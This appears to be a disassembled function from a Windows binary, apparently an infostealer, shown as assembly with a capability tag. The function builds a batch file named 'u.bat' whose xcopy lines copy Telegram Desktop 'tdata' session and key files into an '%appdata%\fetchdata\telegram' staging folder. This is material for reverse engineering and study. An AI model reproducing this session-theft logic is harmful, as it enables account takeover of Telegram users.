Function at 0x1400c7ff0
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x560
mov rax, qword [0x1401eb9a0]
xor rax, rsp
mov qword [rsp + 0x558], rax
lea rcx, str.APPDATA
call fcn.140169888
xor r14d, r14d
mov qword [rsp + 0x360], r14
mov qword [rsp + 0x370], r14
mov qword [rsp + 0x378], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x360], r14b
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r14b
jne 0x1400c8060
mov rdx, rax
lea rcx, [rsp + 0x360]
call fcn.140002450
nop
movabs r15, 0x7fffffffffffffff
mov rax, r15
mov rcx, qword [rsp + 0x370]
sub rax, rcx
cmp rax, 0x11
jb 0x1400c964e
lea r9, [rsp + 0x360]
cmp qword [rsp + 0x378], 0x10
cmovae r9, qword [rsp + 0x360]
mov qword [rsp + 0x30], reloc.WS2_32.dll_recvfrom
lea rax, str.Telegram_Desktop
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x360]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x340]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rsp + 0x370]
sub rax, rcx
cmp rax, 0xa
jb 0x1400c9654
lea r9, [rsp + 0x360]
cmp qword [rsp + 0x378], 0x10
cmovae r9, qword [rsp + 0x360]
mov qword [rsp + 0x30], 0xa
lea rax, str._fetchdata
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x360]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x420]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rsp + 0x370]
sub rax, rcx
cmp rax, 0x13
jb 0x1400c965a
lea r9, [rsp + 0x360]
cmp qword [rsp + 0x378], 0x10
cmovae r9, qword [rsp + 0x360]
mov qword [rsp + 0x30], reloc.WS2_32.dll_send
lea rax, str._fetchdata_telegram
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x360]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x390]
call fcn.140021700
nop
mov rax, r15
mov rcx, qword [rsp + 0x350]
sub rax, rcx
cmp rax, 6
jb 0x1400c9660
lea r9, [rsp + 0x340]
cmp qword [rsp + 0x358], 0x10
cmovae r9, qword [rsp + 0x340]
mov ebx, 6
mov qword [rsp + 0x30], rbx
lea rsi, str.u.bat
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x340]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x400]
call fcn.140021700
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x440]
call fcn.140152690
mov rax, r15
mov rcx, qword [rsp + 0x350]
sub rax, rcx
cmp rax, rbx
jb 0x1400c9666
lea r9, [rsp + 0x340]
cmp qword [rsp + 0x358], 0x10
cmovae r9, qword [rsp + 0x340]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x340]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x180]
call fcn.140021700
nop
lea rdx, [rsp + 0x180]
lea rcx, [rsp + 0x440]
call fcn.140017b90
nop
mov rdx, qword [rsp + 0x198]
cmp rdx, 0x10
jb 0x1400c82ea
inc rdx
mov rcx, qword [rsp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c82e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c966c
call fcn.14014fd6c
mov qword [rsp + 0x190], r14
mov qword [rsp + 0x198], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x180], 0
call fcn.14014c0c4
lea rcx, str.C:UsersPCAppDataRoamingTelegram_Desktop_tdata
mov qword [rsp + 0x200], rcx
mov qword [rsp + 0x208], gethostname
lea r8, [rsp + 0x200]
mov edx, eax
lea rcx, [rsp + 0x210]
call fcn.140004710
nop
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x330], xmm0
lea rdx, [rsp + 0x210]
lea rcx, [rsp + 0x330]
call fcn.14001d210
test eax, eax
jne 0x1400c9672
mov rdx, qword [rsp + 0x228]
cmp rdx, 8
jb 0x1400c83af
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c83aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9689
call fcn.14014fd6c
xorps xmm0, xmm0
movups xmmword [rsp + 0x380], xmm0
mov r13, qword [rsp + 0x338]
mov qword [rsp + 0x48], r13
test r13, r13
je 0x1400c83de
lock inc dword [r13 + 8]
mov r13, qword [rsp + 0x338]
mov qword [rsp + 0x48], r13
movaps xmm0, xmmword [rsp + 0x330]
movdqa xmmword [rsp + 0x380], xmm0
test r13, r13
je 0x1400c8406
lock inc dword [r13 + 8]
mov r13, qword [rsp + 0x338]
mov qword [rsp + 0x48], r13
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x3d0], xmm1
test r13, r13
je 0x1400c8462
mov eax, edi
lock xadd dword [r13 + 8], eax
cmp eax, 1
jne 0x1400c8455
mov rbx, qword [rsp + 0x338]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400c8455
mov rcx, qword [rsp + 0x338]
mov qword [rsp + 0x48], rcx
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
jmp 0x1400c8462
mov rcx, qword [rsp + 0x338]
mov qword [rsp + 0x48], rcx
movzx r12d, byte [rsp + 0x40]
movzx ebx, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
movzx esi, byte [rsp + 0x40]
movzx r14d, byte [rsp + 0x40]
movzx r15d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rsp + 0x380]
cmp rax, qword [rsp + 0x3d0]
je 0x1400c9342
lea r13, [rax + 0x20]
mov qword [rsp + 0x50], r13
mov rcx, r13
call fcn.1400c7e60
test al, al
je 0x1400c9330
mov rax, qword [r13 + 0x10]
mov rcx, r13
cmp qword [r13 + 0x18], 8
jb 0x1400c84d1
mov rcx, qword [r13]
lea r13, [rcx + rax*2]
mov r11, r13
mov rdx, r13
call fcn.140004870
cmp rax, r13
je 0x1400c851b
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x1400c84f4
cmp cx, 0x2f
jne 0x1400c8500
add rax, 2
jmp 0x1400c84e0
lea rdx, [r11 - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x1400c851b
cmp cx, 0x2f
je 0x1400c851b
mov r11, rdx
cmp rax, rdx
jne 0x1400c8500
sub r13, r11
sar r13, 1
xor eax, eax
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 7
mov word [rsp + 0xc0], ax
mov r8, r13
mov rdx, r11
lea rcx, [rsp + 0xc0]
call fcn.14001be90
nop
lea rdx, [rsp + 0x230]
lea rcx, [rsp + 0xc0]
call fcn.140004c60
mov r13, rax
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x3a0]
sub rax, rcx
cmp rax, 1
jb 0x1400c968f
lea r9, [rsp + 0x390]
cmp qword [rsp + 0x3a8], 0x10
cmovae r9, qword [rsp + 0x390]
mov qword [rsp + 0x30], 1
lea rax, [0x1401bb070]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rsp + 0x390]
movzx edx, r12b
lea rcx, [rsp + 0x2d0]
call fcn.140021700
nop
mov r9, r13
lea r8, [rsp + 0x2d0]
movzx edx, bl
lea rcx, [rsp + 0x3e0]
call fcn.140021510
nop
mov rdx, qword [rsp + 0x2e8]
cmp rdx, 0x10
jb 0x1400c8640
inc rdx
mov rcx, qword [rsp + 0x2d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c863a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9695
call fcn.14014fd6c
nop
mov rdx, qword [rsp + 0x248]
cmp rdx, 0x10
jb 0x1400c8683
inc rdx
mov rcx, qword [rsp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c867e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c969b
call fcn.14014fd6c
xor r13d, r13d
mov qword [rsp + 0x240], r13
mov qword [rsp + 0x248], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x230], r13b
mov rdx, qword [rsp + 0xd8]
cmp rdx, 8
jb 0x1400c86ea
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c86e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c96a1
call fcn.14014fd6c
mov qword [rsp + 0xd0], r13
mov qword [rsp + 0xd8], 7
mov word [rsp + 0xc0], r13w
lea rcx, [rsp + 0x390]
cmp qword [rsp + 0x3a8], 0x10
cmovae rcx, qword [rsp + 0x390]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rsp + 0x3e0]
cmp qword [rsp + 0x3f8], 0x10
cmovae rcx, qword [rsp + 0x3e0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [rsp + 0x250]
mov r13, qword [rsp + 0x50]
mov rcx, r13
call fcn.140004c60
nop
mov r8d, 1
lea rdx, [0x1401bb070]
mov rcx, rax
call fcn.14001c180
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x3b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x3c0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov rdx, qword [rsp + 0x268]
cmp rdx, 0x10
jb 0x1400c87e0
inc rdx
mov rcx, qword [rsp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c87db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c96a7
call fcn.14014fd6c
xor eax, eax
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x250], al
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x3c0]
sub rax, rcx
cmp rax, 8
jb 0x1400c96ad
lea rax, [rsp + 0x3b0]
cmp qword [rsp + 0x3c8], 0x10
cmovae rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 8
lea r9, str._nxcopy__
lea r8, [rsp + 0x3b0]
movzx edx, dil
lea rcx, [rsp + 0x1a0]
call fcn.140021700
nop
lea rdx, [rsp + 0x1a0]
cmp qword [rsp + 0x1b8], 0x10
cmovae rdx, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x440]
call fcn.1400240f0
nop
mov rdx, qword [rsp + 0x1b8]
cmp rdx, 0x10
jb 0x1400c88dd
inc rdx
mov rcx, qword [rsp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c88d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c96b2
call fcn.14014fd6c
mov rax, qword [r13 + 0x10]
mov rcx, r13
cmp qword [r13 + 0x18], 8
jb 0x1400c88ef
mov rcx, qword [r13]
lea r13, [rcx + rax*2]
mov r11, r13
mov rdx, r13
call fcn.140004870
cmp rax, r13
je 0x1400c893b
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x1400c8912
cmp cx, 0x2f
jne 0x1400c8920
add rax, 2
jmp 0x1400c88fe
lea rdx, [r11 - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x1400c893b
cmp cx, 0x2f
je 0x1400c893b
mov r11, rdx
cmp rax, rdx
jne 0x1400c8920
sub r13, r11
sar r13, 1
xor eax, eax
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 7
mov word [rsp + 0x140], ax
mov r8, r13
mov rdx, r11
lea rcx, [rsp + 0x140]
call fcn.14001be90
nop
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0x140]
call fcn.140004c60
nop
mov r9d, 0x1f
lea r8, str.___appdata__fetchdata_telegram_
xor edx, edx
mov rcx, rax
call fcn.140002320
xor r13d, r13d
mov qword [rsp + 0xe0], r13
mov qword [rsp + 0xf0], r13
mov qword [rsp + 0xf8], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xf0], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
lea r8d, [r13 + 0xe]
lea rdx, str.__K__D__H__Y_n
lea rcx, [rsp + 0xe0]
call fcn.14001c180
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x68], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
lea rcx, [rsp + 0x440]
call fcn.1400240f0
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x1400c8a91
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c8a8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c96b8
call fcn.14014fd6c
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x70], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x58], 0
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0x10
jb 0x1400c8ae7
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c8ae2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c96be
call fcn.14014fd6c
mov qword [rsp + 0xf0], r13
mov qword [rsp + reloc.WS2_32.dll_ntohs8], 0xf
mov byte [rsp + 0xe0], 0
mov rdx, qword [rsp + 0x288]
cmp rdx, 0x10
jb 0x1400c8b46
inc rdx
mov rcx, qword [rsp + 0x270]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c8b41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c96c4
call fcn.14014fd6c
mov qword [rsp + 0x280], r13
mov qword [rsp + 0x288], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x270], 0
mov rdx, qword [rsp + 0x158]
cmp rdx, 8
jb 0x1400c8baa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c8ba5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c96ca
call fcn.14014fd6c
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x350]
sub rax, rcx
cmp rax, 8
jb 0x1400c96d0
lea rax, [rsp + 0x340]
cmp qword [rsp + 0x358], 0x10
cmovae rax, qword [rsp + 0x340]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 8
lea r9, str._nxcopy__
lea r8, [rsp + 0x340]
movzx edx, sil
lea rcx, [rsp + 0x2f0]
call fcn.140021700
nop
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str._tdatakey_datas
lea rcx, [rsp + 0x2f0]
call fcn.14001c180
mov qword [rsp + 0x100], r13
mov qword [rsp + 0x110], r13
mov qword [rsp + 0x118], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x110], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8d, 0x2c
lea rdx, str.___appdata__fetchdata_telegram__K__D__H__Y_n
lea rcx, [rsp + 0x100]
call fcn.14001c180
mov qword [rsp + 0x78], r13
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x90], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x88], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rdx, [rsp + 0x78]
cmp qword [rsp + 0x90], 0x10
cmovae rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x88]
lea rcx, [rsp + 0x440]
call fcn.1400240f0
nop
mov rdx, qword [rsp + 0x90]
cmp rdx, 0x10
jb 0x1400c8d2b
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c8d26
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c96d6
call fcn.14014fd6c
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x90], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x78], 0
mov rdx, qword [rsp + 0x118]
cmp rdx, 0x10
jb 0x1400c8d87
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c8d82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c96dc
call fcn.14014fd6c
mov qword [rsp + 0x110], r13
mov qword [rsp + 0x118], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x100], 0
mov rdx, qword [rsp + 0x308]
cmp rdx, 0x10
jb 0x1400c8de6
inc rdx
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c8de1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c96e2
call fcn.14014fd6c
mov rcx, qword [rsp + 0x50]
mov rax, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 8
jb 0x1400c8df9
mov rcx, qword [rcx]
lea r13, [rcx + rax*2]
mov r11, r13
mov rdx, r13
call fcn.140004870
cmp rax, r13
je 0x1400c8e3d
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x1400c8e1c
cmp cx, 0x2f
jne 0x1400c8e22
add rax, 2
jmp 0x1400c8e08
lea rdx, [r11 - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x1400c8e3d
cmp cx, 0x2f
je 0x1400c8e3d
mov r11, rdx
cmp rax, rdx
jne 0x1400c8e22
sub r13, r11
sar r13, 1
xor eax, eax
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], 7
mov word [rsp + 0x160], ax
mov r8, r13
mov rdx, r11
lea rcx, [rsp + 0x160]
call fcn.14001be90
nop
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x160]
call fcn.140004c60
mov r13, rax
movabs rax, 0x7fffffffffffffff
mov rcx, qword [rsp + 0x350]
sub rax, rcx
cmp rax, 8
jb 0x1400c96e8
lea rax, [rsp + 0x340]
cmp qword [rsp + 0x358], 0x10
cmovae rax, qword [rsp + 0x340]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 8
lea r9, str._nxcopy__
lea r8, [rsp + 0x340]
movzx edx, r14b
lea rcx, [rsp + 0x1e0]
call fcn.140021700
nop
mov r8d, 7
lea rdx, str._tdata_
lea rcx, [rsp + 0x1e0]
call fcn.14001c180
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x2b0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x2c0], xmm1
xor ecx, ecx
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], cl
mov r9, r13
lea r8, [rsp + 0x2b0]
movzx edx, r15b
lea rcx, [rsp + 0x1c0]
call fcn.140021510
nop
mov r8d, 1
lea rdx, [0x1401c7d9c]
lea rcx, [rsp + 0x1c0]
call fcn.14001c180
xor r13d, r13d
mov qword [rsp + 0x120], r13
mov qword [rsp + 0x130], r13
mov qword [rsp + 0x138], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x120], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x130], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
lea r8d, [r13 + 0x2b]
lea rdx, str.___appdata__fetchdata_telegram__K__D__H__Y
lea rcx, [rsp + 0x120]
call fcn.14001c180
mov qword [rsp + 0x98], r13
mov qword [rsp + 0xa8], r13
mov qword [rsp + 0xb0], r13
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x98], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xa8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], r13b
lea rdx, [rsp + 0x98]
cmp qword [rsp + 0xb0], 0x10
cmovae rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa8]
lea rcx, [rsp + 0x440]
call fcn.1400240f0
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0x10
jb 0x1400c9084
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c907f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c96ee
call fcn.14014fd6c
mov qword [rsp + 0xa8], r13
mov qword [rsp + 0xb0], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x98], 0
mov rdx, qword [rsp + 0x138]
cmp rdx, 0x10
jb 0x1400c90e3
inc rdx
mov rcx, qword [rsp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c90de
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c96f4
call fcn.14014fd6c
mov qword [rsp + 0x130], r13
mov qword [rsp + 0x138], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x120], 0
mov rdx, qword [rsp + 0x1d8]
cmp rdx, 0x10
jb 0x1400c9142
inc rdx
mov rcx, qword [rsp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c913d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c96fa
call fcn.14014fd6c
mov qword [rsp + 0x1d0], r13
mov qword [rsp + 0x1d8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1c0], 0
mov rdx, qword [rsp + 0x2c8]
cmp rdx, 0x10
jb 0x1400c91a2
inc rdx
mov rcx, qword [rsp + 0x2b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c919c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9700
call fcn.14014fd6c
nop
mov rdx, qword [rsp + 0x1f8]
cmp rdx, 0x10
jb 0x1400c91e5
inc rdx
mov rcx, qword [rsp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c91e0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9706
call fcn.14014fd6c
mov qword [rsp + 0x1f0], r13
mov qword [rsp + 0x1f8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x1e0], 0
mov rdx, qword [rsp + 0x2a8]
cmp rdx, 0x10
jb 0x1400c9244
inc rdx
mov rcx, qword [rsp + 0x290]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c923f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c970c
call fcn.14014fd6c
mov qword [rsp + 0x2a0], r13
mov qword [rsp + 0x2a8], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x290], 0
mov rdx, qword [rsp + 0x178]
cmp rdx, 8
jb 0x1400c92a9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c92a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9712
call fcn.14014fd6c
nop
mov rdx, qword [rsp + 0x3c8]
cmp rdx, 0x10
jb 0x1400c92ed
inc rdx
mov rcx, qword [rsp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c92e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9718
call fcn.14014fd6c
nop
mov rdx, qword [rsp + 0x3f8]
cmp rdx, 0x10
jb 0x1400c9330
inc rdx
mov rcx, qword [rsp + 0x3e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c932b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c971e
call fcn.14014fd6c
lea rcx, [rsp + 0x380]
call fcn.140005ba0
jmp 0x1400c8490
mov rcx, qword [rsp + 0x388]
mov rdi, 0xffffffffffffffff
test rcx, rcx
je 0x1400c9396
mov eax, edi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x1400c938c
mov rbx, qword [rsp + 0x388]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x1400c938c
mov rcx, qword [rsp + 0x388]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rsp + 0x338]
jmp 0x1400c939b
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400c93d4
mov eax, edi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x1400c93d4
mov rbx, qword [rsp + 0x338]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x1400c93d4
mov rcx, qword [rsp + 0x338]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
lea rcx, [rsp + 0x448]
call fcn.14001b5f0
test rax, rax
jne 0x1400c941d
mov rax, qword [rsp + 0x440]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x440]
add rcx, rax
mov edx, 2
cmp qword [rcx + 0x48], 0
mov eax, 6
cmovne eax, edx
or eax, dword [rcx + 0x10]
xor r8d, r8d
mov edx, eax
call fcn.140003f50
nop
mov rax, qword [rsp + 0x440]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x440], rax
mov rax, qword [rsp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x43c], edx
lea rcx, [rsp + 0x448]
call fcn.140018bb0
mov rax, qword [rsp + 0x440]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x440], rax
mov rax, qword [rsp + 0x440]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x43c], edx
lea rax, vtable.std::ios_base.0
mov qword [rsp + 0x4e8], rax
lea rcx, [rsp + 0x4e8]
call fcn.14014ce90
nop
mov rdx, qword [rsp + 0x418]
cmp rdx, 0x10
jb 0x1400c94f0
inc rdx
mov rcx, qword [rsp + 0x400]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400c94ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400c9724
call fcn.14014fd6c
nop
mov rdx, qword [rsp + 0x3a8]
cmp rdx, 0x10
jb 0x1400c9533
inc rdx
mov rcx, qword [rsp + 0x390]
